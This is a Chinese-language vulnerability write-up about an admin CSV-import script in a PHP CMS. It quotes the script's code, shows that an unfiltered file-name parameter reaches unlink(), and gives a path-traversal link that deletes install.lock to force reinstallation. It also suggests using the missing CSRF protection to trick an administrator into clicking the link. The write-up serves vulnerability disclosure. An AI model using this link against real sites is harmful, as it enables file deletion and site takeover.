漏洞文件/admin/app/batch/csvup.php
代码
<?php $depth='../'; require_once $depth.'../login/login_check.php'; setlocale(LC_ALL,array('zh_CN.gbk','zh_CN.gb2312','zh_CN.gb18030')); $codeold='gbk'; $codenew='utf-8'; $classflie=explode('_',$fileField); $classflie=explode('-',$classflie[count($classflie)-1]); $class1=$classflie[0]; $class2=$classflie[1]; $class3=$classflie[2]; $class=$class3?$class3:($class2?$class2:$class1); $classcsv=$db->get_one("select * from $met_column where id=$class"); if(!$classcsv){ metsave("../app/batch/contentup.php?anyid=$anyid&lang=$lang",$lang_csvnocolumn,$depth); } $table=moduledb($classcsv['module']); $file = fopen($flienamecsv,'r'); $fdata=fgetcsv($file); foreach($fdata as $key=>$val){ if(iconv($codeold,$codenew,$val)==$lang_columnhtmlname){$staticnum=$key;} } $numcsv=0; while ($data = fgetcsv($file)){ $staticone=iconv($codeold,$codenew,$data[$staticnum]); if($staticone!=NULL){ $static[$numcsv+1]=$staticone; $static_copy[]=$staticone; } $dataqrray[]=$data; $numcsv++; } fclose($file); @file_unlink($flienamecsv);
变量$flienamecsv可控,没有过滤,跟进file_unlink函数
function file_unlink($file_name) { if(file_exists($file_name)) { //@chmod($file_name,0777); $area_lord = @unlink($file_name); } return $area_lord; }
直接删除文件,所以我们可以构造路径,删除任意文件,删除install.lock文件将导致重装。
这边如果!$classcsv就会退出,然后 $classcsv是可控变量$fileField控制的,所以只要赋fileField为1就可以了。
虽然在后台才能删除,但是这里存在CSRF漏洞,没有任何防御CSRF的措施,而且是GET直接请求,可以给管理留言等,可以诱使管理访问我们的链接,后果不堪设想。
安装完成后,config文件夹存在install.lock
构造删除install.lock的链接,发送给管理员,管理员点击(本地admin登录后模拟管理员点击)
链接 http://localhost/admin/app/batch/csvup.php?fileField=1&&flienamecsv=../../../config/install.lock
然后config文件下的install.lock就被删除了
导致网站可以重装。